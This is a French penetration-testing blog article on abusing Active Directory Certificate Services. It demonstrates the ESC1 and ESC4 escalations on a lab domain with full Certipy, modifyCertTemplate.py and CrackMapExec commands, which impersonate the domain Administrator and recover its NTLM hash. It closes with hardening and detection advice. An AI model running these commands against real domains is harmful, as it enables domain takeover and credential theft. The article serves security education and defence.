Exploitation du service de certificats dans un environnement Active Directory (ADCS)
Introduction
Lors des tests d'intrusion internes menés par IMINETI by Niji, il a été constaté que de plus en plus d'environnements Active Directory implémentent la solution de gestion des clés publiques proposée par Microsoft depuis Windows 2000 Server : ADCS.
L'utilisation de cet outil apporte son lot de défauts de configuration permettant de détourner son utilisation et exposant l'infrastructure à des risques importants, d'autant plus que les prérequis sont généralement minimes (compte Active Directory valide).
En effet, ces dernières années ont mis en lumière le rôle d'ADCS dans un système d'information ainsi que ses implications du point de vue sécurité. Bon nombre de campagnes d'attaque sont maintenant susceptibles d'utiliser ces leviers de compromission et il devient important que les administrateurs système s'y intéressent.
L'objectif de cet article est de proposer un retour d'expérience sur l'exploitation de quelques vulnérabilités liées à ADCS, de vulgariser les concepts liés à ces dernières mais également de fournir une ressource aux DSI, RSSI ou toute personne souhaitant s'intéresser à ces configurations.
Les techniques abordées dans cet article sont démontrées sur un environnement dédié et ne doivent être utilisées que dans un cadre légal et encadré.
Définitions et applications
Qu'est-ce qu'ADCS ?
Microsoft Active Directory Certificate Services (ADCS) est un rôle pouvant être accordé à un serveur Windows en place dans un environnement Active Directory afin d'en faire une Autorité de Certification (CA). Ce serveur implémentera alors un système de gestion de clés publiques (PKI) dans le but de contrôler l'émission et l'affectation de certificats cryptographiques sur le domaine.
Ces certificats peuvent être utilisés pour chiffrer ou signer des documents et des messages, ainsi que pour authentifier des objets de l'Active Directory sur le réseau (utilisateurs, machines, etc). Ils fournissent :
La confidentialité par le chiffrement des données
L'intégrité par la signature des données
L'authentification en associant des clés privées à des utilisateurs ou des machines. Ceci combine donc deux des trois facteurs possibles pour l'authentification : Ce que l'objet est (utilisateur ou machine) et ce qu'il possède (clé privée)
ADCS supporte de nombreuses applications présentes dans un environnement professionnel (Mail, VPN, RDP, SSL/TLS, IPsec, etc) ce qui en fait un moyen simple et efficace pour améliorer la sécurité de l'environnement Active Directory.
Fonctionnement de l'émission de certificats
L'Autorité de Certification de l'Active Directory propose des modèles de certificats appelés "templates", qui définissent les paramètres à utiliser et les règles à appliquer (contrôle d'accès) selon le type de certificat concerné. Ces templates permettent également d'établir la liste des certificats pris en charge par le serveur qui sont donc susceptibles d'être demandés et émis.
Parmi les paramètres du certificat, on retrouve par exemple :
Son propriétaire
La clé publique du propriétaire
La durée de validité
Le numéro de série
L'identité de l'émetteur (habituellement l'Autorité de Certification)
La raison de l'utilisation du certificat (Authentification, chiffrement, etc)
Lorsqu'un client (utilisateur ou machine) demande un certificat à l'Autorité de Certification, il doit effectuer les étapes suivantes (simplifiées) :
Générer une paire de clés publique-privée
Construire une demande de certificat en renseignant sa clé publique ainsi que les informations liées au certificat demandé (Nom, nom du template associé, etc)
Signer la demande avec sa clé privée et l'envoyer à l'Autorité de Certification
L'autorité de Certification vérifie si le client est autorisé à demander ce certificat
S'il est autorisé, le serveur va consulter si un template est associé au nom de certificat fourni dans la demande, et si le client peut demander ce type de certificat
Si tel est le cas, le serveur va générer le certificat demandé avec les paramètres renseignés dans le template et ceux fournis dans la demande
Le certificat va finalement être signé avec la clé privée du serveur, et renvoyé au client
Le schéma suivant, adapté des travaux de recherche de SpecterOps, représente la démarche simplifiée :
Comment l'exploiter
L'exploitation d'ADCS pour élever ses privilèges sur le domaine réside dans le fait de pouvoir abuser de paramètres contrôlés par l'utilisateur, d'un contrôle d'accès défaillant, ou d'autres défauts de configuration permettant de contourner le fonctionnement attendu.
Détection des failles
Les faiblesses de configuration ADCS peuvent être identifiées automatiquement avec des outils comme "Certify.exe" ou "Certipy", qui vont énumérer la présence d'Autorités de Certification sur le domaine audité puis récupérer les configurations disponibles. Ils peuvent ensuite analyser ces configurations pour identifier des faiblesses connues et pouvant être abusées.
Ces faiblesses connues ont été recensées par SpecterOps dans leur livre blanc détaillant le fonctionnement d'ADCS et les attaques associées. Les plus fréquentes sont celles visant à élever ses privilèges sur le domaine, qui ont été numérotées avec un code "ESC" (ESC1, ESC2, etc). D'autres codes existent pour les autres types d'attaques, qui ne seront pas abordés dans cet article. Ces codes sont devenus une convention de nommage pour la technique concernée.
ESC1
Voici un exemple d'utilisation de "Certipy" mettant en évidence la présence de la vulnérabilité ESC1 sur un domaine de démonstration "IMINETI.local" (l'utilisateur "rhenia" fait partie des "Utilisateurs du Domaine" et n'est pas privilégié) :
$ certipy find -u "rhenia@IMINETI.local" -p 'REDACTED' -dc-ip 172.16.25.130 -debug -vulnerable
[+] Authenticating to LDAP server
[+] Bound to ldaps://172.16.25.130:636 - ssl
[+] Default path: DC=IMINETI,DC=local
[+] Configuration path: CN=Configuration,DC=IMINETI,DC=local
[+] Adding Domain Computers to list of current user's SIDs (Machine Account Quota: 10 > 0)
[+] List of current user's SIDs:
IMINETI.LOCAL\Authenticated Users (IMINETI.LOCAL-S-1-5-11)
IMINETI.LOCAL\Ordinateurs du domaine (S-1-5-21-890756517-202480297-37167682-515)
IMINETI.LOCAL\Everyone (IMINETI.LOCAL-S-1-1-0)
IMINETI.LOCAL\Utilisateurs du domaine (S-1-5-21-890756517-202480297-37167682-513)
IMINETI.LOCAL\Users (IMINETI.LOCAL-S-1-5-32-545)
IMINETI.LOCAL\Rami Henia (S-1-5-21-890756517-202480297-37167682-1104)
[*] Finding certificate templates
[*] Found 34 certificate templates
[*] Finding certificate authorities
[*] Found 1 certificate authority
[*] Found 8 enabled certificate templates
[+] Trying to resolve 'DC.IMINETI.local' at '172.16.25.130'
[*] Trying to get CA configuration for 'IMINETI-DC-CA-1' via CSRA
[+] Trying to get DCOM connection for: 172.16.25.130
[!] Got error while trying to get CA configuration for 'IMINETI-DC-CA-1' via CSRA: CASessionError: code: 0x80070005 - E_ACCESSDENIED - General access denied error.
[*] Trying to get CA configuration for 'IMINETI-DC-CA-1' via RRP
[!] Failed to connect to remote registry. Service should be starting now. Trying again...
[+] Connected to remote registry at 'DC.IMINETI.local' (172.16.25.130)
[*] Got CA configuration for 'IMINETI-DC-CA-1'
[+] Resolved 'DC.IMINETI.local' from cache: 172.16.25.130
[+] Connecting to 172.16.25.130:80
[*] Saved BloodHound data to '20230523102940_Certipy.zip'. Drag and drop the file into the BloodHound GUI from @ly4k
[*] Saved text output to '20230523102940_Certipy.txt'
[*] Saved JSON output to '20230523102940_Certipy.json'
L'outil produit un fichier texte contenant les templates identifiés comme vulnérables, en affichant son contenu et mettant en évidence les défauts de configuration. Dans cet exemple, un seul template nommé "Authentification Utilisateur" a été détecté comme exploitable avec la méthode "ESC1" :
Certificate Templates
0
Template Name : Authentification Utilisateur
Display Name : Authentification Utilisateur
Enabled : False
Client Authentication : True
Enrollment Agent : False
Any Purpose : False
Enrollee Supplies Subject : True
Certificate Name Flag : EnrolleeSuppliesSubject
Enrollment Flag : IncludeSymmetricAlgorithms
PublishToDs
Private Key Flag : ExportableKey
Extended Key Usage : Client Authentication
Requires Manager Approval : False
Requires Key Archival : False
Authorized Signatures Required : 0
Validity Period : 1 year
Renewal Period : 6 weeks
Minimum RSA Key Length : 2048
Permissions
Enrollment Permissions
Enrollment Rights : IMINETI.LOCAL\Admins du domaine
IMINETI.LOCAL\Utilisateurs du domaine
IMINETI.LOCAL\Administrateurs de l’entreprise
Object Control Permissions
Owner : IMINETI.LOCAL\Administrateur
Write Owner Principals : IMINETI.LOCAL\Admins du domaine
IMINETI.LOCAL\Administrateurs de l’entreprise
IMINETI.LOCAL\Administrateur
Write Dacl Principals : IMINETI.LOCAL\Admins du domaine
IMINETI.LOCAL\Administrateurs de l’entreprise
IMINETI.LOCAL\Administrateur
Write Property Principals : IMINETI.LOCAL\Admins du domaine
IMINETI.LOCAL\Administrateurs de l’entreprise
IMINETI.LOCAL\Administrateur
[!] Vulnerabilities
ESC1 : 'IMINETI.LOCAL\\Utilisateurs du domaine' can enroll, enrollee supplies subject and template allows client authentication
L'outil indique comment abuser la configuration de ce template de Certificat :
N'importe quel utilisateur du domaine peut requêter le certificat : la partie "Enrollment rights", qui spécifie qui peut demander le certificat, contient "Utilisateurs du domaine"
L'utilisateur émetteur de la requête peut demander un certificat pour un autre utilisateur y compris un administrateur du domaine : la valeur "Enrollee Supplies Subject" est à "True", ce qui signifie que le demandeur spécifie l'utilisateur concerné
Le certificat pourra être utilisé pour s'authentifier sur le domaine : Le champ "Extended Key Usage" contient "Client Authentication", qui signifie que le certificat émis pourra être utilisé pour s'authentifier auprès des machines de l'Active Directory
Ces trois conditions permettent de demander un certificat pour un administrateur du domaine depuis un utilisateur non privilégié, qui permettra de s'authentifier sur le domaine et donc de récupérer le hash NTLM de l'utilisateur usurpé.
La commande certipy suivante demande le template de certificat "Authentification Utilisateur" au Contrôleur de domaine "DC.IMINETI.local", pour l'Autorité de Certification "IMINETI-DC-CA-1". Elle spécifie l'utilisateur à usurper, "Administrateur@IMINETI.local" qui est l'Administrateur du domaine :
$ certipy req -username 'rhenia@IMINETI.local' -password 'REDACTED' -ca IMINETI-DC-CA-1 -target DC.IMINETI.local -ns 172.16.25.130 -upn 'Administrateur@IMINETI.local' -template 'Authentification Utilisateur'
Certipy v4.4.0 - by Oliver Lyak (ly4k)
[*] Requesting certificate via RPC
[*] Successfully requested certificate
[*] Request ID is 5
[*] Got certificate with UPN 'Administrateur@IMINETI.local'
[*] Certificate has no object SID
[*] Saved certificate and private key to 'administrateur.pfx'
Le certificat est obtenu dans le fichier "administrateur.pfx", qui peut être réutilisé avec le même outil en vue d'obtenir le hash NTLM de l'Administrateur :
$ certipy auth -pfx 'administrateur.pfx' -username 'Administrateur' -domain 'Imineti.local' -dc-ip 172.16.25.130
Certipy v4.4.0 - by Oliver Lyak (ly4k)
[*] Using principal: administrateur@imineti.local
[*] Trying to get TGT...
[*] Got TGT
[*] Saved credential cache to 'administrateur.ccache'
[*] Trying to retrieve NT hash for 'administrateur'
[*] Got hash for 'administrateur@imineti.local': aad3b435b51404eeaad3b435b51404ee:<REDACTED>
Le hash NTLM de l'administrateur est obtenu, il est maintenant possible de tenter d'obtenir le mot de passe à partir de celui-ci (Bruteforce), ou d'utiliser la technique "Pass The Hash" pour s'authentifier sur le domaine avec NTLM.
La validité du hash peut d'ailleurs être vérifiée avec "CrackMapExec" sur le contrôleur de domaine, prouvant que l'exploitation est réussie :
crackmapexec smb 172.16.25.130 -u 'Administrateur' -H 'aad3b435b51404eeaad3b435b51404ee:<REDACTED>'
SMB 172.16.25.130 445 DC [*] Windows 10.0 Build 17763 x64 (name:DC) (domain:IMINETI.local) (signing:True) (SMBv1:False)
SMB 172.16.25.130 445 DC [+] IMINETI.local\Administrateur:<REDACTED> (Pwn3d!)
ESC4
La vulnérabilité ESC1 démontrée précédemment est la plus simple à identifier et à exploiter, et également la plus populaire. Elle est donc généralement bien connue des équipes de sécurité de l'organisme audité, laissant néanmoins place à d'autres variantes de l'attaque. En effet, différents chemins d'exploitation sont possibles à partir d'autres vecteurs que les templates de certificat (ESC1, ESC2, ESC3). Il est ainsi possible de parvenir à élever ses privilèges sur un domaine Active Directory à partir de la configuration de l'Autorité de Certification elle-même (ESC6), d'un contrôle d'accès insuffisant ou défaillant (ESC4, ESC5, ESC7), ou encore d'abuser d'une interface web d'ADCS pour effectuer un relai NTLM (ESC8).
Lors d'un audit de sécurité, l'équipe IMINETI a fait face à un template de certificat non vulnérable à ESC1, mais sur lequel un utilisateur classique du domaine possède des privilèges d'écriture : il est alors possible de modifier le template pour le rendre vulnérable à l'attaque ESC1 expliquée précédemment. Cette technique d'abus de privilèges est répertoriée sous le code "ESC4".
La technique d'identification des templates vulnérables est la même que celle mentionnée précédemment, avec l'outil "Certipy". Le template vulnérable est le suivant, nommé "Authentification Serveur" :
Certificate Templates
0
Template Name : AuthentificationServeur
Display Name : Authentification Serveur
Enabled : False
Client Authentication : False
Enrollment Agent : False
Any Purpose : False
Enrollee Supplies Subject : False
Certificate Name Flag : SubjectAltRequireUpn
SubjectAltRequireEmail
SubjectRequireEmail
SubjectRequireDirectoryPath
Enrollment Flag : IncludeSymmetricAlgorithms
PublishToDs
AutoEnrollment
Private Key Flag : ExportableKey
Extended Key Usage : Server Authentication
Requires Manager Approval : False
Requires Key Archival : False
Authorized Signatures Required : 0
Validity Period : 1 year
Renewal Period : 6 weeks
Minimum RSA Key Length : 2048
Permissions
Enrollment Permissions
Enrollment Rights : IMINETI.LOCAL\Admins du domaine
IMINETI.LOCAL\Utilisateurs du domaine
IMINETI.LOCAL\Administrateurs de l’entreprise
Object Control Permissions
Owner : IMINETI.LOCAL\Administrateur
Write Owner Principals : IMINETI.LOCAL\Admins du domaine
IMINETI.LOCAL\Utilisateurs du domaine
IMINETI.LOCAL\Administrateurs de l’entreprise
IMINETI.LOCAL\Administrateur
Write Dacl Principals : IMINETI.LOCAL\Admins du domaine
IMINETI.LOCAL\Utilisateurs du domaine
IMINETI.LOCAL\Administrateurs de l’entreprise
IMINETI.LOCAL\Administrateur
Write Property Principals : IMINETI.LOCAL\Admins du domaine
IMINETI.LOCAL\Utilisateurs du domaine
IMINETI.LOCAL\Administrateurs de l’entreprise
IMINETI.LOCAL\Administrateur
[!] Vulnerabilities
ESC4 : 'IMINETI.LOCAL\\Utilisateurs du domaine' has dangerous permissions
Tous les utilisateurs du domaine peuvent demander ce certificat, cependant cette fois la valeur "Enrollee Supplies Subject" est à "False", il n'est donc pas possible de demander un certificat pour un autre utilisateur (le certificat concerne automatiquement l'utilisateur demandeur). De plus, il ne sera pas possible de l'utiliser pour se connecter aux machines du domaine, car la valeur "Extended Key Usage" ne contient pas "Client Authentication".
Toutefois, dans les permissions "Object Control Permissions", il est indiqué que les utilisateurs du domaine ont l'autorisation "Write Property Principals". Ils ont donc la possibilité d'éditer les propriétés du certificat. Afin de vérifier quelles propriétés peuvent être modifiées, les "Listes de Contrôle d'Accès" (ACL) peuvent être consultées.
Vérification des ACLs du certificat
Deux méthodes existent pour vérifier les permissions étendues sur les propriétés d'un template de certificat :
En PowerShell avec un accès sur le contrôleur de domaine
Depuis le poste de l'attaquant avec l'outil "modifyCertTemplate.py"
- Méthode 1 (PowerShell) :
Les commandes suivantes vont importer le module "ActiveDirectory" de PowerShell, puis requêter les ACL du certificat "AuthentificationServeur" :
Import-Module ActiveDirectory
(Get-Acl -Path "AD:CN=AuthentificationServeur,CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=IMINETI,DC=local").Access
La sortie de commande donne les permissions étendues des utilisateurs sur le template :
[...]
ActiveDirectoryRights : WriteProperty, WriteDacl, WriteOwner
InheritanceType : None
ObjectType : 00000000-0000-0000-0000-000000000000
InheritedObjectType : 00000000-0000-0000-0000-000000000000
ObjectFlags : None
AccessControlType : Allow
IdentityReference : IMINETI\Utilisateurs du domaine
IsInherited : False
InheritanceFlags : None
PropagationFlags : None
[...]
Ici, le droit "WriteProperty" est donné aux utilisateurs du domaine, avec le champ "ObjectType" à "00000000-0000-0000-0000-000000000000". Cela signifie que les utilisateurs peuvent modifier n'importe quelle propriété du certificat. Avec un "ObjectType" différent, seules certaines propriétés auraient pu être modifiées.
- Méthode 2 (modifyCertTemplate.py) :
Les ACLs du template voulu peuvent être récupérées avec la commande suivante :
python3 modifyCertTemplate.py -template "AuthentificationServeur" IMINETI.local/rhenia:REDACTED -dc-ip 172.16.25.130 -get-acl
La commande renvoie les mêmes éléments que la méthode précédente, à savoir la permission "WriteProperty" accordée aux utilisateurs du domaine ainsi que la valeur du champ "ObjectType" indiquant que toutes les propriétés peuvent être modifiées :
ActiveDirectoryRights: WriteOwner, WriteDacl, WriteProperty
ObjectType: 00000000-0000-0000-0000-000000000000
AccessControlType: ACCESS_ALLOWED_ACE
IdentityReference: IMINETI\Utilisateurs du domaine
Exploitation
L'outil "modifyCertTemplate.py" va donc être utilisé pour modifier les propriétés du template afin de le rendre vulnérable à ESC1. L'état initial du template est le suivant :
python3 modifyCertTemplate.py -template "AuthentificationServeur" IMINETI.local/rhenia:REDACTED -dc-ip 172.16.25.130
[*] Object found
[*] Certificate template:
Common Name: AuthentificationServeur
msPKI-Template-Schema-Version: 2
msPKI-Certificate-Name-Flag: SUBJECT_ALT_REQUIRE_UPN, SUBJECT_ALT_REQUIRE_EMAIL, SUBJECT_REQUIRE_EMAIL, SUBJECT_REQUIRE_DIRECTORY_PATH
msPKI-Enrollment-Flag: INCLUDE_SYMMETRIC_ALGORITHMS, PUBLISH_TO_DS, AUTO_ENROLLMENT
msPKI-RA-Signature: 0
pKIExtendedKeyUsage: Server Authentication
msPKI-Certificate-Application-Policy: Server Authentication
La première étape consiste à ajouter la valeur "Enrollee Supplies Subjects" comme attribut du template pour permettre à l'utilisateur requêtant le certificat d'usurper un autre utilisateur à privilèges plus élevés :
python3 modifyCertTemplate.py -template "AuthentificationServeur" IMINETI.local/rhenia:REDACTED -dc-ip 172.16.25.130 -add enrollee_supplies_subject -property mspki-Certificate-Name-Flag
[*] Object found
[*] Current mspki-Certificate-Name-Flag value: -1509949440
[*] Updated mspki-Certificate-Name-Flag attribute successfully
Maintenant que nous pouvons usurper un utilisateur du domaine à partir du certificat, il reste à pouvoir s'authentifier sur les machines du domaine. Cela est rendu possible en spécifiant "Client Authentication" dans le champ "Application Policy" du template. Bien que les outils tels que "certipy" relèvent cette valeur dans le champ "Extended Key Usage", la modification du champ "msPKI-Certificate-Application-Policy" suffit pour appliquer le paramètre.
En effet, en cas de conflit de ce champ avec les champs "pkiextendedkeyusage" et "mspki-ra-application-policies", le champ "msPKI-Certificate-Application-Policy" est prioritaire lors de l'utilisation du certificat. Il n'est donc pas nécessaire de modifier les autres.
python3 modifyCertTemplate.py -template "AuthentificationServeur" IMINETI.local/rhenia:REDACTED -dc-ip 172.16.25.130 -add 'Client Authentication' -property msPKI-Certificate-Application-Policy
[*] Object found
[*] Current msPKI-Certificate-Application-Policy value: 1.3.6.1.5.5.7.3.1
[*] Updated msPKI-Certificate-Application-Policy attribute successfully
Avec les modifications précédentes, les paramètres du certificat sont les suivants et le rendent vulnérable à l'attaque ESC1 :
python3 modifyCertTemplate.py -template "AuthentificationServeur" IMINETI.local/rhenia:REDACTED -dc-ip 172.16.25.130
[*] Object found
[*] Certificate template:
Common Name: AuthentificationServeur
msPKI-Template-Schema-Version: 2
msPKI-Certificate-Name-Flag: ENROLLEE_SUPPLIES_SUBJECT, SUBJECT_ALT_REQUIRE_UPN, SUBJECT_ALT_REQUIRE_EMAIL, SUBJECT_REQUIRE_EMAIL, SUBJECT_REQUIRE_DIRECTORY_PATH
msPKI-Enrollment-Flag: INCLUDE_SYMMETRIC_ALGORITHMS, PUBLISH_TO_DS, AUTO_ENROLLMENT
msPKI-RA-Signature: 0
pKIExtendedKeyUsage: Server Authentication
msPKI-Certificate-Application-Policy: Client Authentication, Server Authentication
Si d'autres propriétés empêchent l'utilisation abusive d'un certificat, elles devront elles aussi être modifiées en faveur de l'attaquant avec la même technique que celle déroulée précédemment.
Ainsi, le template "AuthentificationServeur" devient vulnérable à ESC1 et une escalade de privilèges peut être réalisée avec la méthode mentionnée précedemment.
Lors d'un audit, le template vulnérable est remis dans son état initial une fois son exploitation réalisée afin de ne pas perturber le fonctionnement du système audité. L'outil ne permettant pas d'effectuer cette opération automatiquement, tous les paramètres modifiés doivent être rétablis un par un.
Comment se protéger
L'utilisation de certificats pour effectuer des opérations sensibles comme l'authentification apporte une nouvelle surface d'attaque aux acteurs malveillants et augmente la vigilance nécessaire aux administrateurs pour protéger leur périmètre. Cela implique la création de nouvelles procédures et l'application de bonnes pratiques spécifiques pour la gestion des certificats, qui sont décorrélés des comptes utilisateurs classiques.
Par exemple en cas d'incident avec la compromission d'un compte utilisateur, il n'est plus suffisant de changer le mot de passe du compte concerné pour révoquer ses accès. Il est alors nécessaire d'identifier et révoquer tous les certificats associés à l'utilisateur.
Heureusement, diverses mesures de sécurité peuvent être appliquées pour empêcher, mitiger et détecter les risques liés à l'utilisation d'ADCS.
Durcissement des templates de certificats
Le durcissement des templates est la principale méthode permettant de limiter les possibilités d'abus des certificats. L'application du principe du moindre privilège réduit les possibilités de l'utilisateur demandant le certificat dans le but de limiter les abus potentiels. Ainsi le certificat répond à un besoin unique et identifié, augmentant la traçabilité des actions. Pour que cela soit efficace, il est également primordial de tenir un inventaire des templates disponibles et utilisés pour contrôler la présence de certificats obsolètes qui augmenteraient la surface d'attaque.
Les outils d'audit (aussi utilisés par les attaquants) peuvent être utilisés pour vérifier les permissions accordées aux templates de certificats et si celles-ci peuvent être exploitées pour gagner en privilèges sur le domaine.
Pour contrôler les permissions accordées à un template de certificat et vérifier leur légitimité, les mêmes outils que ceux utilisés par les attaquants peuvent être utilisés :
Ils identifieront aussi les vecteurs d'attaque en fonction des paramètres identifiés comme dangereux.
Protection du serveur
La protection des serveurs faisant office d'Autorité de Certification est aussi prioritaire, et ceux-ci devraient être protégés au même niveau qu'un contrôleur de domaine. En effet, les certificats sont utilisés pour des fonctions critiques comme l'authentification et représentent donc un élément crucial pour la sécurité du système d'information. Cela comprend la protection du serveur sur le réseau (contrôle d'accès, cloisonnement, etc) et la configuration locale de la machine (utilisateurs locaux, mises à jour de sécurité, etc).
Certains paramètres de la configuration de l'Autorité de Certification peuvent également s'avérer dangereux et donner génériquement des permissions excessives aux certificats. Par exemple le paramètre "EDITF_ATTRIBUTESUBJECTALTNAME2" doit être désactivé pour empêcher un utilisateur de demander un certificat en tant qu'un autre. Il permet donc de contrôler et d'invalider le paramètre "EnrolleeSuppliesSubject" évoqué précédemment sur les templates de certificats.
Détection des évènements
Pour parfaire les mesures de sécurité déjà en place au niveau des paramètres des templates et du serveur ADCS, une détection des évènements liés aux certificats peut être mise en place pour réagir aux actions suspicieuses. Cette supervision est rendue possible en utilisant les journaux d'évènements Windows et les ID qui leur sont associés, chacun correspondant à un type d'action (Liste des évènements liés au système de gestion de clés publiques : https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-r2-and-2012/dn786423(v=ws.11)).
Il est alors possible de superviser l'émission des certificats avec les paramètres concernés, l'authentification à une machine du parc depuis un certificat, la modification d'un template (pouvant indiquer une attaque type ESC4 par exemple), une tentative de lecture des clés privées du serveur, etc.
Les paramètres de détection sont ensuite à affiner selon les actions légitimes pouvant être effectuées par les utilisateurs et les utilisations voulues des certificats.
Conclusion
En résumé, nous avons pu aborder au cours de cet article quelques notions relatives à la sécurité d'ADCS au sein d'un domaine Active Directory. Bien que plusieurs vulnérabilités aient été expliquées (ESC1 et ESC4), il en existe une multitude correspondant toutes à des scénarios d'attaque et des configurations différentes. De la même façon, un ensemble de mesures de durcissement permettent de corriger ces faiblesses. Les recommandations évoquées dans cet article constituent une base d'exemples et ne peuvent être considérées comme exhaustives. Il existe également un grand nombre de paramètres permettant de réduire la surface d'attaque et chaque mesure est dépendante de la façon dont est implémenté ADCS au sein du système d'information.
Pour conclure, les thématiques de sécurité liées à ADCS sont plus que jamais présentes dans la culture cybersécurité et notamment du côté des chercheurs en sécurité mais également des attaquants. Il devient urgent pour les entreprises de s'intéresser à ces problématiques, d'auditer leurs configurations et de mettre en place les recommandations préconisées afin de limiter les risques de compromission.